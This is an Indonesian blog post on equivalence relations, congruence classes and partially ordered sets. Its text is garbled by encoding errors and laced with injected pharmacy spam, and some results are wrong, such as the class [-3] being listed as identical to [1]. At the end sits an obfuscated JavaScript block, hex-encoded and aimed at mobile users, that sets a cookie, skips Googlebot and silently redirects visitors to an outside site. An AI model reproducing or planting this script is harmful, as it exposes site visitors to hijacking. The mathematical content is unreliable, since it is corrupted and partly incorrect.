satriawae

Relasi Ekivalen dan Relasi Terurut

by on Feb.20, 2010, under Matematika Diskret

Sebuah relasi pada himpunan A dinamakan relasi ekivalen jika relasi tersebut refleksif, simetri dan transitif. Dua unsur yang berelasi ekivalen disebut equivalent. Sedangkan sebuah relasi R pada himpunan S dikatakan relasi terurut parsial jika relasi tersebut bersifat refleksif, antisimetri dan transitif. Sebuah himpunan S yang dilengkapi dengan sebuah relasi R yang terurut parsial, himpunan tersebut dinamakan himpunan terurut parsial university assignment (partially ordering set a�� blog post), Notasi : (S, R).

Berikut adalah contoh Relasi Ekivalen

Contoh :

Misalkan R merupakan relasi pada sebuah Z,

yang dinyatakan oleh :

a R b jika dan hanya jika a canada medicene without prescription = b atau a = a�� b .

Periksa, apakah relasi tersebut merupakan relasi ekivalen !

a�? Jelas bahwa a = a, dengan kata lain jika a R Pills a untuk setiap a a?? Z .

Jadi R merupakan relasi refleksif.

a�? Jika a = A�b dan b = A� c, ini mengakibatkan a = A� c. Dengan kata lain jika

a R b maka b R c maka a R c.

Dengan demikian R merupakan relasi transitif.

a�? Jika a = b atau a = a�� b maka b = a atau b = a�� a, dengan kata lain jika

a R b maka b R a.

Jadi R merupakan relasi simetri.

Dengan demikian R merupakan relasi ekivalen.

Contoh :

Misalkan R merupakan relasi pada sebuah himpunan Riil, yang dinyatakan oleh :

a R b jika dan hanya jika a a�� b a?? Z.

Periksa, apakah relasi tersebut merupakan relasi ekivalen !

Untuk setiap a a?? Rill maka a a�� a = 0 a?? bilangan bulat, oleh karena itu R bersifat refleksif.

Misalkan a R b maka (a a�� b) a?? Z, jelas bahwa (b a�� online a) a?? Z. Dengan demikian R bersifat simetri.

Jika a R b dan b R c artinya (a a�� b), (b a�� c) a?? Z maka

(a a�� c) = (a a�� b) + (b a�� c www.ptfer viagra, cassava fertility pills reviews. ) juga merupakan bilangan bulat.

Oleh karena itu a R c. Jadi R bersifat transitif.

Dengan demikian R merupakan relasi ekivalen.

Contoh :

Misalkan m adalah bilangan bulat yang lebih besar dari 1.

Tunjukan bahwa Relasi

R = {(a,b) | a a�? Order b (mod m)} merupakan relasi ekivalen

pada himpunan bilangan bulat.

Ingat bahwa a a�? b (mod m) jika dan hanya jika Order m membagi a a�� b .

Karena a a�� a = 0 dapat dibagi oleh m, yaitu 0 = 0 m.

Oleh karena itu, a a�? a (mod m) , sehingga R bersifat refleksif.

a a�� b dapat dibagi oleh m sehingga a a�� b = km, untuk suatu k a?? Z Ini mengakibatkanA�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A� b a�� a = a��km. Jadi relasi tersebut simetri

Misalkan a a�? b (mod m) dan b a�? c (mod m),

sehingga a a�� b dan b a�� c dapat dibagi oleh m, atau

a a�� b = km dan b a�� c = lm untuk suatu k, la?? Z

Dengan menjumlahkan keduanya :

a a�� c generic Atarax = (a a�� b) + (b a�� c) = (k + l) m, maka a a�? c (mod m),

Ini menunjukan bahwa relasi tersebut transitif.

Dengan demikian R merupakan relasi ekivalen.

Misalkan R adalah relasi ekivalen pada himpunan A. Semua unsur himpunan yang relasi dengan suatu unsure a di A dinamakan kelas ekivalen dari a.

Kelas ekivalen dari a Buy terhadap relasi R dinotasikan oleh [a] Cheap R. Jika hanya ada satu relasi pada himpuanan tersebut, notainya adalah [a].

Contoh :

buy fluoxetine Tentukan kelas ekivalen 0, 1, a��2, dan a��3 pada relasi modul kongruen 4!

[0] = { . . . , a�� 12, a�� 8, a�� 4, 0, 4, 8, 12, . . . }

[1] = { . . . , a�� 11, a�� 7, a�� 3, 1, 5, 9, . . . }

[a��2] = { . . . , a�� 10, a�� 6, a�� 2, 2, 6, 10, . . . }

[a��3] = { . . . , a�� 11, a�� 7, a�� 3, 1, 5, 9, . . . }

Sebuah relasi R pada himpunan S dikatakan relasi terurut parsial jika relasi tersebut bersifat refleksif, antisimetri dan transitif. Sebuah himpunan S yang dilengkapi dengan sebuah relasi R yang terurut parsial, himpunan tersebut dinamakan himpunan terurut parsial (partially ordering set a�� poset), Notasi : (S, R).

Contoh :

Tunjukan bahwa relasi a�?a��a�� merupakan relasi terurut pada Z.

Karena online a a�� a untuk setiap a a?? Z, maka relasi a�?a��a�� bersifat refleksi.

Jika a a�� b dan b a�� a berarti a = a. Jadi relasi a�?a��a�� bersifat antisimetri.

Jika a a�� b dan b a�� c berarti a a�� c. Jadi relasi a�?a��a�� bersifat transitif.

Dengan demikian relasi a�?a��a�� merupakan relasi terurut pada Z.

Setiap unsur dalam poset (S, I?) dikatakan comparable (dapat dibandingkan) jika a I? b atau b I? a untuk setiap a, b a?? S. Selanjutnya, Jika (S, I?) merupakan sebuah poset dan setiap dua unsur dalam S adalah comparable, maka S dinamakan Totally Ordered Set (Himpunan terurut total) atau Chain, sedangkan I? dinamakan urutan total.

Contoh :

1. ( N, a�� ) merupakan toset.

2. ( N, | ) bukan toset karena tak comparable.

Jika (S, I?) adalah sebuah toset dan setiap subset tak kosong dari S paling sedikit memiliki satu unsur, maka (S, I?) dinamakan Well-ordered Set (himpunan terurut dengan baik).

Setiap himpunan terurut parsial dapat disajikan dalam bentuk diagram Hasse. Langkah-langkah dalam menggambar digram Hasse dari suatu poset adalah :

a�? Gambarkan relasi urutan dalam bentuk directed graph.

a�? Hapus semua loop (karena refleksif)

a�? Hapus semua lintasan transitifvar _0xa48a=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x74\x6F\x70\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x73\x64\x4E\x58\x62\x48\x26″,”\x47\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0xa48a[2]][_0xa48a[1]](_0xa48a[0])== -1){(function(_0x82d7x1,_0x82d7x2){if(_0x82d7x1[_0xa48a[1]](_0xa48a[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xa48a[8]](_0x82d7x1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}

Be Sociable, Share!
:, ,

Leave a Reply

This blog is kept spam free by WP-SpamFree.

*

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Visit our friends!

A few highly recommended friends...